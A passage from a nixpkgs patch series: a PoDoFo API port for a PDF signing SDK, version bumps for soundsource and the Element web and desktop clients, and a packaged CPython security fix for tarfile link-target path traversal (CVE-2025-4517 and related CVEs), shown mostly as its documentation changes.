-   const double getHeight(int pageIndex);
- 
-  private:
--  PdfMemDocument* m_pPdfDocument;
-+  PdfDocument* m_pPdfDocument;
-+
-+  PdfMemDocument* m_pPdfMemDocument;
-+
-+  PdfWriter* m_pPdfWriter;
- 
-   PdfSignatureField* m_pSignatureField;
- 
-diff --git a/libs/sign-sdk/src/PdfSignatureGenerator.cpp b/libs/sign-sdk/src/PdfSignatureGenerator.cpp
-index 44ef54a..e8b8c8e 100644
---- a/libs/sign-sdk/src/PdfSignatureGenerator.cpp
-+++ b/libs/sign-sdk/src/PdfSignatureGenerator.cpp
-@@ -27,7 +27,7 @@ int GetNumberOfSignatures(PdfMemDocument* pPdfDocument);
- USE_LOG;
- 
- PdfSignatureGenerator::PdfSignatureGenerator()
--    : m_pPdfDocument(NULL),
-+    : m_pPdfMemDocument(NULL),
-       m_pSignatureField(NULL),
-       m_pSignOutputDevice(NULL),
-       m_pFinalOutDevice(NULL),
-@@ -37,7 +37,7 @@ PdfSignatureGenerator::PdfSignatureGenerator()
- }
- 
- PdfSignatureGenerator::~PdfSignatureGenerator() {
--  if (m_pPdfDocument) delete m_pPdfDocument;
-+  if (m_pPdfMemDocument) delete m_pPdfMemDocument;
- 
-   if (m_pSignatureField) delete m_pSignatureField;
- 
-@@ -51,21 +51,21 @@ PdfSignatureGenerator::~PdfSignatureGenerator() {
- }
- 
- int PdfSignatureGenerator::Load(const char* pdf, int len) {
--  if (m_pPdfDocument) delete m_pPdfDocument;
-+  if (m_pPdfMemDocument) delete m_pPdfMemDocument;
- 
-   try {
-     printf("PDF LENGTH");
-     printf("%i", len);
-     printf("STOP");
- 
--    m_pPdfDocument = new PdfMemDocument();
--    m_pPdfDocument->Load(pdf, len);
--    printf("OK m_pPdfDocument");
--    int nSigns = PDFVerifier::GetNumberOfSignatures(m_pPdfDocument);
-+    m_pPdfMemDocument = new PdfMemDocument();
-+    m_pPdfMemDocument->Load(pdf);
-+    printf("OK m_pPdfMemDocument");
-+    int nSigns = PDFVerifier::GetNumberOfSignatures(m_pPdfMemDocument);
-     printf("OK nSigns: %d", nSigns);
- 
-     if (nSigns > 0) {
--      m_pPdfDocument->SetIncrementalUpdates(true);
-+      m_pPdfWriter->PdfWriter::SetIncrementalUpdate(true);
-     }
-     m_actualLen = len;
- 
-@@ -82,14 +82,8 @@ void PdfSignatureGenerator::AddFont(const char* szFontName,
-   // printf(szFontName);
-   // printf(szFontPath);
- 
--  m_pPdfDocument->CreateFont(
--      szFontName, false, false,
--      PdfEncodingFactory::GlobalWinAnsiEncodingInstance(),
--      PdfFontCache::eFontCreationFlags_AutoSelectBase14, true, szFontPath);
--  m_pPdfDocument->CreateFont(
--      szFontName, true, false,
--      PdfEncodingFactory::GlobalWinAnsiEncodingInstance(),
--      PdfFontCache::eFontCreationFlags_AutoSelectBase14, true, szFontPath);
-+  m_pPdfDocument->PoDoFo::PdfDocument::CreateFont( szFontName, false, PdfEncodingFactory::GlobalWinAnsiEncodingInstance(), PdfFontCache::eFontCreationFlags_AutoSelectBase14, true);
-+  m_pPdfDocument->PoDoFo::PdfDocument::CreateFont( szFontName, true, PdfEncodingFactory::GlobalWinAnsiEncodingInstance(), PdfFontCache::eFontCreationFlags_AutoSelectBase14, true);
- }
- 
- void PdfSignatureGenerator::InitSignature(
-@@ -130,7 +124,7 @@ void PdfSignatureGenerator::InitSignature(
- 
-   if (m_pSignatureField) delete m_pSignatureField;
- 
--  PdfPage* pPage = m_pPdfDocument->GetPage(pageIndex);
-+  PdfPage* pPage = m_pPdfMemDocument->GetPage(pageIndex);
-   PdfRect cropBox = pPage->GetCropBox();
- 
-   float left0 = left * cropBox.GetWidth();
-@@ -145,15 +139,14 @@ void PdfSignatureGenerator::InitSignature(
- 
-   LOG_DBG((0, "InitSignature", "PdfSignatureField"));
- 
--  m_pSignatureField = new PdfSignatureField(
--      pPage, rect, m_pPdfDocument, PdfString(szFieldName), szSubFilter);
-+  m_pSignatureField = new PdfSignatureField(pPage, rect, m_pPdfMemDocument);
- 
-   LOG_DBG((0, "InitSignature", "PdfSignatureField OK"));
- 
-   if (szReason && szReason[0]) {
-     PdfString reason(szReason);
-     PdfString reasonLabel(szReasonLabel);
--    m_pSignatureField->SetSignatureReason(reasonLabel, reason);
-+    m_pSignatureField->SetSignatureReason(reason);
-   }
- 
-   LOG_DBG((0, "InitSignature", "szReason OK"));
-@@ -161,7 +154,7 @@ void PdfSignatureGenerator::InitSignature(
-   if (szLocation && szLocation[0]) {
-     PdfString location(szLocation);
-     PdfString locationLabel(szLocationLabel);
--    m_pSignatureField->SetSignatureLocation(locationLabel, location);
-+    m_pSignatureField->SetSignatureLocation(location);
-   }
- 
-   LOG_DBG((0, "InitSignature", "szLocation OK"));
-@@ -171,54 +164,42 @@ void PdfSignatureGenerator::InitSignature(
- 
-   LOG_DBG((0, "InitSignature", "Date OK"));
- 
--  if (szName && szName[0]) {
--    PdfString name(szName);
--    PdfString nameLabel(szNameLabel);
--    m_pSignatureField->SetSignatureName(nameLabel, name);
--  }
--
--  LOG_DBG((0, "InitSignature", "szName OK"));
--
--  m_pSignatureField->SetSignatureSize(SIGNATURE_SIZE);
-+  m_pSignOutputDevice->PdfSignOutputDevice::SetSignatureSize(SIGNATURE_SIZE);
- 
-   LOG_DBG((0, "InitSignature", "SIGNATURE_SIZE OK"));
- 
--  // if((szImagePath && szImagePath[0]) || (szDescription && szDescription[0]))
--  if (width * height > 0) {
--    try {
--      // m_pSignatureField->SetFontSize(5);
--      m_pSignatureField->SetAppearance(szImagePath, szDescription);
--      LOG_DBG((0, "InitSignature", "SetAppearance OK"));
--    } catch (PdfError& error) {
--      LOG_ERR((0, "InitSignature", "SetAppearance error: %s, %s",
--               PdfError::ErrorMessage(error.GetError()), error.what()));
--    } catch (PdfError* perror) {
--      LOG_ERR((0, "InitSignature", "SetAppearance error2: %s, %s",
--               PdfError::ErrorMessage(perror->GetError()), perror->what()));
--    } catch (std::exception& ex) {
--      LOG_ERR(
--          (0, "InitSignature", "SetAppearance std exception, %s", ex.what()));
--    } catch (std::exception* pex) {
--      LOG_ERR((0, "InitSignature", "SetAppearance std exception2, %s",
--               pex->what()));
--    } catch (...) {
--      LOG_ERR((0, "InitSignature", "SetAppearance unknown error"));
--    }
--  }
-+  // if (width * height > 0) {
-+  //   try {
-+  //     m_pSignatureField->SetAppearance(szImagePath, szDescription);
-+  //     LOG_DBG((0, "InitSignature", "SetAppearance OK"));
-+  //   } catch (PdfError& error) {
-+  //     LOG_ERR((0, "InitSignature", "SetAppearance error: %s, %s",
-+  //              PdfError::ErrorMessage(error.GetError()), error.what()));
-+  //   } catch (PdfError* perror) {
-+  //     LOG_ERR((0, "InitSignature", "SetAppearance error2: %s, %s",
-+  //              PdfError::ErrorMessage(perror->GetError()), perror->what()));
-+  //   } catch (std::exception& ex) {
-+  //     LOG_ERR(
-+  //         (0, "InitSignature", "SetAppearance std exception, %s",
-+  //         ex.what()));
-+  //   } catch (std::exception* pex) {
-+  //     LOG_ERR((0, "InitSignature", "SetAppearance std exception2, %s",
-+  //              pex->what()));
-+  //   } catch (...) {
-+  //     LOG_ERR((0, "InitSignature", "SetAppearance unknown error"));
-+  //   }
-+  // }
- 
--  if (szGraphometricData && szGraphometricData[0])
--    m_pSignatureField->SetGraphometricData(
--        PdfString("Aruba_Sign_Biometric_Data"), PdfString(szGraphometricData),
--        PdfString(szVersion));
-+  // if (szGraphometricData && szGraphometricData[0])
-+  //   m_pSignatureField->SetGraphometricData(
-+  //       PdfString("Aruba_Sign_Biometric_Data"),
-+  //       PdfString(szGraphometricData), PdfString(szVersion));
- 
--  LOG_DBG((0, "InitSignature", "szGraphometricData OK"));
-+  // LOG_DBG((0, "InitSignature", "szGraphometricData OK"));
- 
-   LOG_DBG((0, "InitSignature", "m_actualLen %d", m_actualLen));
-   // crea il nuovo doc con il campo di firma
--  int fulllen = m_actualLen * 2 + SIGNATURE_SIZE * 2 +
--                (szGraphometricData
--                     ? (strlen(szGraphometricData) + strlen(szVersion) + 100)
--                     : 0);
-+  int fulllen = m_actualLen * 2 + SIGNATURE_SIZE * 2;
- 
-   int mainDoclen = 0;
-   m_pMainDocbuffer = NULL;
-@@ -227,7 +208,7 @@ void PdfSignatureGenerator::InitSignature(
-       LOG_DBG((0, "InitSignature", "fulllen %d", fulllen));
-       m_pMainDocbuffer = new char[fulllen];
-       PdfOutputDevice pdfOutDevice(m_pMainDocbuffer, fulllen);
--      m_pPdfDocument->Write(&pdfOutDevice);
-+      m_pPdfMemDocument->Write(&pdfOutDevice);
-       mainDoclen = pdfOutDevice.GetLength();
-     } catch (::PoDoFo::PdfError err) {
-       if (m_pMainDocbuffer) {
-@@ -301,32 +282,32 @@ void PdfSignatureGenerator::GetSignedPdf(UUCByteArray& signedPdf) {
- }
- 
- const double PdfSignatureGenerator::getWidth(int pageIndex) {
--  if (m_pPdfDocument) {
--    PdfPage* pPage = m_pPdfDocument->GetPage(pageIndex);
-+  if (m_pPdfMemDocument) {
-+    PdfPage* pPage = m_pPdfMemDocument->GetPage(pageIndex);
-     return pPage->GetPageSize().GetWidth();
-   }
-   return 0;
- }
- 
- const double PdfSignatureGenerator::getHeight(int pageIndex) {
--  if (m_pPdfDocument) {
--    PdfPage* pPage = m_pPdfDocument->GetPage(pageIndex);
-+  if (m_pPdfMemDocument) {
-+    PdfPage* pPage = m_pPdfMemDocument->GetPage(pageIndex);
-     return pPage->GetPageSize().GetHeight();
-   }
-   return 0;
- }
- 
- const double PdfSignatureGenerator::lastSignatureY(int left, int bottom) {
--  if (!m_pPdfDocument) return -1;
-+  if (!m_pPdfMemDocument) return -1;
-   /// Find the document catalog dictionary
--  const PdfObject* const trailer = m_pPdfDocument->GetTrailer();
-+  const PdfObject* const trailer = m_pPdfMemDocument->GetTrailer();
-   if (!trailer->IsDictionary()) return -1;
-   const PdfObject* const catalogRef =
-       trailer->GetDictionary().GetKey(PdfName("Root"));
-   if (catalogRef == 0 || !catalogRef->IsReference())
-     return -2;  // throw std::invalid_argument("Invalid /Root entry");
-   const PdfObject* const catalog =
--      m_pPdfDocument->GetObjects().GetObject(catalogRef->GetReference());
-+      m_pPdfMemDocument->GetObjects().GetObject(catalogRef->GetReference());
-   if (catalog == 0 || !catalog->IsDictionary())
-     return -3;  // throw std::invalid_argument("Invalid or non-dictionary
-   // referenced by /Root entry");
-@@ -336,8 +317,8 @@ const double PdfSignatureGenerator::lastSignatureY(int left, int bottom) {
-       catalog->GetDictionary().GetKey(PdfName("AcroForm"));
-   if (acroFormValue == 0) return bottom;
-   if (acroFormValue->IsReference())
--    acroFormValue =
--        m_pPdfDocument->GetObjects().GetObject(acroFormValue->GetReference());
-+    acroFormValue = m_pPdfMemDocument->GetObjects().GetObject(
-+        acroFormValue->GetReference());
- 
-   if (!acroFormValue->IsDictionary()) return bottom;
- 
-@@ -346,8 +327,8 @@ const double PdfSignatureGenerator::lastSignatureY(int left, int bottom) {
-   if (fieldsValue == 0) return bottom;
- 
-   if (fieldsValue->IsReference())
--    fieldsValue =
--        m_pPdfDocument->GetObjects().GetObject(acroFormValue->GetReference());
-+    fieldsValue = m_pPdfMemDocument->GetObjects().GetObject(
-+        acroFormValue->GetReference());
- 
-   if (!fieldsValue->IsArray()) return bottom;
- 
-@@ -360,8 +341,8 @@ const double PdfSignatureGenerator::lastSignatureY(int left, int bottom) {
- 
-   for (unsigned int i = 0; i < array.size(); i++) {
-     const PdfObject* pObj =
--        m_pPdfDocument->GetObjects().GetObject(array[i].GetReference());
--    if (IsSignatureField(m_pPdfDocument, pObj)) {
-+        m_pPdfMemDocument->GetObjects().GetObject(array[i].GetReference());
-+    if (IsSignatureField(m_pPdfMemDocument, pObj)) {
-       const PdfObject* const keyRect =
-           pObj->GetDictionary().GetKey(PdfName("Rect"));
-       if (keyRect == 0) {
-diff --git a/libs/sign-sdk/src/disigonsdk.cpp b/libs/sign-sdk/src/disigonsdk.cpp
-index 250c93f..84e1b0b 100644
---- a/libs/sign-sdk/src/disigonsdk.cpp
-+++ b/libs/sign-sdk/src/disigonsdk.cpp
-@@ -5,6 +5,7 @@
- 
- #include <libxml/tree.h>
- #include <libxml/xmlmemory.h>
-+#include <podofo/podofo.h>
- #include <stdlib.h>
- #include <string.h>
- 

From aa67dc9203970fa97dbae177bbabfb98adda1f39 Mon Sep 17 00:00:00 2001
From: rnhmjoj <rnhmjoj@inventati.org>
Date: Sat, 7 Jun 2025 16:43:10 +0200
Subject: [PATCH 0776/4511] cie-middleware-linux: try re-enabling darwin

(cherry picked from commit c712a2d78cfaf8259fb41bff6015bc80c9423467)
---
 pkgs/by-name/ci/cie-middleware-linux/package.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/by-name/ci/cie-middleware-linux/package.nix b/pkgs/by-name/ci/cie-middleware-linux/package.nix
index ba54e6231fa0..0495b82c0693 100644
--- a/pkgs/by-name/ci/cie-middleware-linux/package.nix
+++ b/pkgs/by-name/ci/cie-middleware-linux/package.nix
@@ -145,8 +145,6 @@ stdenv.mkDerivation {
     '';
     license = licenses.bsd3;
     platforms = platforms.unix;
-    # Note: fails due to a lot of broken type conversions
-    badPlatforms = platforms.darwin;
     maintainers = with maintainers; [ rnhmjoj ];
   };
 }

From b20752d317ccfad7a57a5d4962401d0358848218 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Sun, 1 Jun 2025 15:39:28 +0300
Subject: [PATCH 0777/4511] soundsource: 5.8.2 -> 5.8.3

(cherry picked from commit fe0bdbbfd31d86f4f2393df79ca11569b9ceed5e)
---
 pkgs/by-name/so/soundsource/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/so/soundsource/package.nix b/pkgs/by-name/so/soundsource/package.nix
index 108ef419e875..7bec0d15fd60 100644
--- a/pkgs/by-name/so/soundsource/package.nix
+++ b/pkgs/by-name/so/soundsource/package.nix
@@ -6,11 +6,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "soundsource";
-  version = "5.8.2";
+  version = "5.8.3";
 
   src = fetchurl {
-    url = "https://web.archive.org/web/20250424131232/https://cdn.rogueamoeba.com/soundsource/download/SoundSource.zip";
-    hash = "sha256-RilL2nD0pUQKCb63uip7q9kmsKVXvEPcT+GUfZKtKNM=";
+    url = "https://web.archive.org/web/20250601123927/https://cdn.rogueamoeba.com/soundsource/download/SoundSource.zip";
+    hash = "sha256-tomlsji65xVPTqX36UKf7S04M1iBxsXVJFEFqWPgBac=";
   };
 
   dontUnpack = true;

From 4c003a074747129d768f188ff4baa44b7b7486f5 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sat, 24 May 2025 16:30:43 +0200
Subject: [PATCH 0778/4511] element-web-unwrapped: 1.11.100 -> 1.11.102

Release notes:
  - https://github.com/element-hq/element-web/releases/tag/v1.11.101
  - https://github.com/element-hq/element-web/releases/tag/v1.11.102
Changelog: https://github.com/element-hq/element-web/compare/v1.11.100...v1.11.102

(cherry picked from commit cb645ca716cca6e976b988c5949aae4c7fd80bf3)
---
 pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
index 2fb0517243dc..bf3c641d42d4 100644
--- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
+++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.100";
+  "version" = "1.11.102";
   "hashes" = {
-    "webSrcHash" = "sha256-FiYjWOJ50Vhbs9vgEqK64HTVtwSuy4/BZAkPK4c6DXQ=";
-    "webYarnHash" = "sha256-C1yVJHU9ClTJHQfMLkdZEeRWVVu68eJp2kxnIlLinY8=";
+    "webSrcHash" = "sha256-B21fBRcksX8MoyWiqf1sa9yowJ/Z/wcM3vEqslunv7A=";
+    "webYarnHash" = "sha256-NXoGMEJM4uxFMCb5YX0ue9hgxe22hzG0MTeAOaBrJO4=";
   };
 }

From e8242f2e3b077b07df027966f5bc69039ab50bb9 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sat, 24 May 2025 16:46:33 +0200
Subject: [PATCH 0779/4511] element-desktop: 1.11.110 -> 1.11.102

Release notes:
  - https://github.com/element-hq/element-desktop/releases/tag/v1.11.101
  - https://github.com/element-hq/element-desktop/releases/tag/v1.11.102
Changelog: https://github.com/element-hq/element-desktop/compare/v1.11.100...v1.11.102

Updates electron from 35 to 36.

Re-introduces the same mechanism for the yarnOfflineCache as #381196, as
the problem described in there is back again.

(cherry picked from commit 84458a3fcd32fe1119ee8899098938334fecd08e)
---
 .../element-desktop/element-desktop-pin.nix   |  6 +--
 pkgs/by-name/el/element-desktop/package.nix   | 33 +++++++++++-----
 pkgs/by-name/el/element-desktop/yarn.nix      | 38 +++++++++++++++++++
 3 files changed, 65 insertions(+), 12 deletions(-)
 create mode 100644 pkgs/by-name/el/element-desktop/yarn.nix

diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
index 1a72d1488ab6..178e8c7b5ce6 100644
--- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
+++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.100";
+  "version" = "1.11.102";
   "hashes" = {
-    "desktopSrcHash" = "sha256-qlKZkBPWcD1eyEetCrIKsSXmodg6DYCmENfY+UT7Khc=";
-    "desktopYarnHash" = "sha256-wuRAeb4IpA2Ihr3ohaMPvFsaMod4Bg8o9lm8yzStwmk=";
+    "desktopSrcHash" = "sha256-wefoN8Nk31lwJFYbBRoKfy+0n69yVg6jskqP6aTHApE=";
+    "desktopYarnHash" = "sha256-/Gy/sYk8EBWU07zXwPl0zsDW5ADRq1j5PH4lPFe8dxk=";
   };
 }
diff --git a/pkgs/by-name/el/element-desktop/package.nix b/pkgs/by-name/el/element-desktop/package.nix
index 0f8aac729c08..6b0d35e3cb64 100644
--- a/pkgs/by-name/el/element-desktop/package.nix
+++ b/pkgs/by-name/el/element-desktop/package.nix
@@ -4,15 +4,15 @@
   fetchFromGitHub,
   makeWrapper,
   makeDesktopItem,
-  yarnConfigHook,
+  yarn,
   nodejs,
-  fetchYarnDeps,
   jq,
-  electron_35,
+  electron_36,
   element-web,
   sqlcipher,
   callPackage,
   desktopToDarwinBundle,
+  typescript,
   useKeytar ? true,
   # command line arguments which are always set
   commandLineArgs ? "",
@@ -22,7 +22,7 @@ let
   pinData = import ./element-desktop-pin.nix;
   inherit (pinData.hashes) desktopSrcHash desktopYarnHash;
   executableName = "element-desktop";
-  electron = electron_35;
+  electron = electron_36;
   keytar = callPackage ./keytar {
     inherit electron;
   };
@@ -41,16 +41,22 @@ stdenv.mkDerivation (
       hash = desktopSrcHash;
     };
 
-    offlineCache = fetchYarnDeps {
-      yarnLock = finalAttrs.src + "/yarn.lock";
-      sha256 = desktopYarnHash;
+    # TODO: fetchYarnDeps currently does not deal properly with a dependency
+    # declared as a pin to a commit in a specific git repository.
+    # While it does download everything correctly, `yarn install --offline`
+    # always wants to `git ls-remote` to the repository, ignoring the local
+    # cached tarball.
+    offlineCache = callPackage ./yarn.nix {
+      inherit (finalAttrs) version src;
+      hash = desktopYarnHash;
     };
 
     nativeBuildInputs = [
-      yarnConfigHook
       nodejs
       makeWrapper
       jq
+      yarn
+      typescript
     ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
 
     inherit seshat;
@@ -60,13 +66,21 @@ stdenv.mkDerivation (
     # this shouldn't be in the closure just for unused scripts.
     dontPatchShebangs = true;
 
+    configurePhase = ''
+      mkdir -p node_modules/
+      cp -r $offlineCache/node_modules/* node_modules/
+      substituteInPlace package.json --replace-fail "tsx " "node node_modules/tsx/dist/cli.mjs "
+    '';
+
     buildPhase = ''
       runHook preBuild
 
       yarn --offline run build:ts
-      yarn --offline run i18n
+      node node_modules/matrix-web-i18n/scripts/gen-i18n.js
+      yarn --offline run i18n:sort
       yarn --offline run build:res
 
+      chmod -R a+w node_modules/keytar-forked
       rm -rf node_modules/matrix-seshat node_modules/keytar-forked
       ${lib.optionalString useKeytar "ln -s ${keytar} node_modules/keytar-forked"}
       ln -s $seshat node_modules/matrix-seshat
@@ -82,6 +96,7 @@ stdenv.mkDerivation (
       ln -s '${element-web}' "$out/share/element/webapp"
       cp -r '.' "$out/share/element/electron"
       cp -r './res/img' "$out/share/element"
+      chmod -R "a+w" "$out/share/element/electron/node_modules"
       rm -rf "$out/share/element/electron/node_modules"
       cp -r './node_modules' "$out/share/element/electron"
       cp $out/share/element/electron/lib/i18n/strings/en_EN.json $out/share/element/electron/lib/i18n/strings/en-us.json
diff --git a/pkgs/by-name/el/element-desktop/yarn.nix b/pkgs/by-name/el/element-desktop/yarn.nix
new file mode 100644
index 000000000000..5a1274349537
--- /dev/null
+++ b/pkgs/by-name/el/element-desktop/yarn.nix
@@ -0,0 +1,38 @@
+{
+  stdenvNoCC,
+  yarn,
+  cacert,
+  git,
+  version,
+  src,
+  hash,
+}:
+stdenvNoCC.mkDerivation {
+  pname = "element-desktop-yarn-deps";
+  inherit version src;
+
+  nativeBuildInputs = [
+    cacert
+    yarn
+    git
+  ];
+
+  dontInstall = true;
+
+  NODE_EXTRA_CA_CERTS = "${cacert}/etc/ssl/certs/ca-bundle.crt";
+
+  buildPhase = ''
+    export HOME=$(mktemp -d)
+    export YARN_ENABLE_TELEMETRY=0
+
+    yarn install --frozen-lockfile --ignore-platform --skip-integrity-check --ignore-scripts --no-progress --non-interactive
+
+    mkdir -p $out/node_modules
+    cp -r node_modules/* $out/node_modules/
+  '';
+
+  dontPatchShebangs = true;
+
+  outputHash = hash;
+  outputHashMode = "recursive";
+}

From 37030a18b25f44e62f30ea02f5ed624a95213876 Mon Sep 17 00:00:00 2001
From: natsukium <tomoya.otabi@gmail.com>
Date: Wed, 4 Jun 2025 03:48:12 +0900
Subject: [PATCH 0780/4511] python314: address CVE-2025-4517, CVE-2025-4330,
 CVE-2025-4138, CVE-2024-12718, CVE-2025-4435

https://mail.python.org/archives/list/security-announce@python.org/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/

https://www.cve.org/CVERecord?id=CVE-2025-4517
https://www.cve.org/CVERecord?id=CVE-2025-4330
https://www.cve.org/CVERecord?id=CVE-2025-4138
https://www.cve.org/CVERecord?id=CVE-2024-12718
https://www.cve.org/CVERecord?id=CVE-2025-4435
(cherry picked from commit 94552b6dbd0f2ec978758d8812f82ed76d4cb4b8)
---
 .../python/cpython/3.14/CVE-2025-4517.patch   | 2055 +++++++++++++++++
 .../interpreters/python/cpython/default.nix   |    3 +
 2 files changed, 2058 insertions(+)
 create mode 100644 pkgs/development/interpreters/python/cpython/3.14/CVE-2025-4517.patch

diff --git a/pkgs/development/interpreters/python/cpython/3.14/CVE-2025-4517.patch b/pkgs/development/interpreters/python/cpython/3.14/CVE-2025-4517.patch
new file mode 100644
index 000000000000..5ad45fdde9fa
--- /dev/null
+++ b/pkgs/development/interpreters/python/cpython/3.14/CVE-2025-4517.patch
@@ -0,0 +1,2055 @@
+From 9e0ac76d96cf80b49055f6d6b9a6763fb9215c2a Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?=C5=81ukasz=20Langa?= <lukasz@langa.pl>
+Date: Tue, 3 Jun 2025 14:05:00 +0200
+Subject: [PATCH] [3.14] gh-135034: Normalize link targets in tarfile, add
+ `os.path.realpath(strict='allow_missing')` (gh-135037) (gh-135065)
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Addresses CVEs 2024-12718, 2025-4138, 2025-4330, and 2025-4517.
+
+(cherry picked from commit 3612d8f51741b11f36f8fb0494d79086bac9390a)
+
+Signed-off-by: Łukasz Langa <lukasz@langa.pl>
+Co-authored-by: Petr Viktorin <encukou@gmail.com>
+Co-authored-by: Seth Michael Larson <seth@python.org>
+Co-authored-by: Adam Turner <9087854+AA-Turner@users.noreply.github.com>
+Co-authored-by: Serhiy Storchaka <storchaka@gmail.com>
+---
+ Doc/library/os.path.rst                       |  32 +-
+ Doc/library/tarfile.rst                       |  20 ++
+ Doc/whatsnew/3.14.rst                         |  32 ++
+ Lib/genericpath.py                            |  11 +-
+ Lib/ntpath.py                                 |  38 ++-
+ Lib/posixpath.py                              |  57 ++--
+ Lib/tarfile.py                                | 163 +++++++--
+ Lib/test/test_ntpath.py                       | 216 ++++++++++--
+ Lib/test/test_posixpath.py                    | 252 +++++++++++---
+ Lib/test/test_tarfile.py                      | 310 +++++++++++++++++-
+ ...-06-02-11-32-23.gh-issue-135034.RLGjbp.rst |   6 +
+ 11 files changed, 967 insertions(+), 170 deletions(-)
+ create mode 100644 Misc/NEWS.d/next/Security/2025-06-02-11-32-23.gh-issue-135034.RLGjbp.rst
+
+diff --git a/Doc/library/os.path.rst b/Doc/library/os.path.rst
+index ecbbc1d7605f9f..f72aee19d8f332 100644
+--- a/Doc/library/os.path.rst
++++ b/Doc/library/os.path.rst
+@@ -408,9 +408,26 @@ the :mod:`glob` module.)
+    system). On Windows, this function will also resolve MS-DOS (also called 8.3)
+    style names such as ``C:\\PROGRA~1`` to ``C:\\Program Files``.
+ 
+-   If a path doesn't exist or a symlink loop is encountered, and *strict* is
+-   ``True``, :exc:`OSError` is raised. If *strict* is ``False`` these errors
+-   are ignored, and so the result might be missing or otherwise inaccessible.
++   By default, the path is evaluated up to the first component that does not
++   exist, is a symlink loop, or whose evaluation raises :exc:`OSError`.
++   All such components are appended unchanged to the existing part of the path.
++
++   Some errors that are handled this way include "access denied", "not a
++   directory", or "bad argument to internal function". Thus, the
++   resulting path may be missing or inaccessible, may still contain
++   links or loops, and may traverse non-directories.
++
++   This behavior can be modified by keyword arguments:
++
++   If *strict* is ``True``, the first error encountered when evaluating the path is
++   re-raised.
++   In particular, :exc:`FileNotFoundError` is raised if *path* does not exist,
++   or another :exc:`OSError` if it is otherwise inaccessible.
++
++   If *strict* is :py:data:`os.path.ALLOW_MISSING`, errors other than
++   :exc:`FileNotFoundError` are re-raised (as with ``strict=True``).
++   Thus, the returned path will not contain any symbolic links, but the named
++   file and some of its parent directories may be missing.
+ 
+    .. note::
+       This function emulates the operating system's procedure for making a path
+@@ -429,6 +446,15 @@ the :mod:`glob` module.)
+    .. versionchanged:: 3.10
+       The *strict* parameter was added.
+ 
++   .. versionchanged:: next
++      The :py:data:`~os.path.ALLOW_MISSING` value for the *strict* parameter
++      was added.
++
++.. data:: ALLOW_MISSING
++
++   Special value used for the *strict* argument in :func:`realpath`.
++
++   .. versionadded:: next
+ 
+ .. function:: relpath(path, start=os.curdir)
+ 
+diff --git a/Doc/library/tarfile.rst b/Doc/library/tarfile.rst
+index f9cb5495e60cd2..7cec108a5bd41d 100644
+--- a/Doc/library/tarfile.rst
++++ b/Doc/library/tarfile.rst
+@@ -255,6 +255,15 @@ The :mod:`tarfile` module defines the following exceptions:
+    Raised to refuse extracting a symbolic link pointing outside the destination
+    directory.
+ 
++.. exception:: LinkFallbackError
++
++   Raised to refuse emulating a link (hard or symbolic) by extracting another
++   archive member, when that member would be rejected by the filter location.
++   The exception that was raised to reject the replacement member is available
++   as :attr:`!BaseException.__context__`.
++
++   .. versionadded:: next
++
+ 
+ The following constants are available at the module level:
+ 
+@@ -1068,6 +1077,12 @@ reused in custom filters:
+   Implements the ``'data'`` filter.
+   In addition to what ``tar_filter`` does:
+ 
++  - Normalize link targets (:attr:`TarInfo.linkname`) using
++    :func:`os.path.normpath`.
++    Note that this removes internal ``..`` components, which may change the
++    meaning of the link if the path in :attr:`!TarInfo.linkname` traverses
++    symbolic links.
++
+   - :ref:`Refuse <tarfile-extraction-refuse>` to extract links (hard or soft)
+     that link to absolute paths, or ones that link outside the destination.
+ 
+@@ -1099,6 +1114,10 @@ reused in custom filters:
+   Note that this filter does not block *all* dangerous archive features.
+   See :ref:`tarfile-further-verification`  for details.
+ 
++  .. versionchanged:: next
++
++     Link targets are now normalized.
++
+ 
+ .. _tarfile-extraction-refuse:
+ 
+@@ -1127,6 +1146,7 @@ Here is an incomplete list of things to consider:
+ * Extract to a :func:`new temporary directory <tempfile.mkdtemp>`
+   to prevent e.g. exploiting pre-existing links, and to make it easier to
+   clean up after a failed extraction.
++* Disallow symbolic links if you do not need the functionality.
+ * When working with untrusted data, use external (e.g. OS-level) limits on
+   disk, memory and CPU usage.
+ * Check filenames against an allow-list of characters
+diff --git a/Doc/whatsnew/3.14.rst b/Doc/whatsnew/3.14.rst
+index 561d1a8914b50c..1e6a3615963ff4 100644
+--- a/Doc/whatsnew/3.14.rst
++++ b/Doc/whatsnew/3.14.rst
+@@ -1608,6 +1608,16 @@ os
+   (Contributed by Cody Maloney in :gh:`129205`.)
+ 
+ 
++os.path
++-------
++
++* The *strict* parameter to :func:`os.path.realpath` accepts a new value,
++  :data:`os.path.ALLOW_MISSING`.
++  If used, errors other than :exc:`FileNotFoundError` will be re-raised;
++  the resulting path can be missing but it will be free of symlinks.
++  (Contributed by Petr Viktorin for :cve:`2025-4517`.)
++
++
+ pathlib
+ -------
+ 
+@@ -1796,6 +1806,28 @@ sysconfig
+   (Contributed by Xuehai Pan in :gh:`131799`.)
+ 
+ 
++tarfile
++-------
++
++* :func:`~tarfile.data_filter` now normalizes symbolic link targets in order to
++  avoid path traversal attacks.
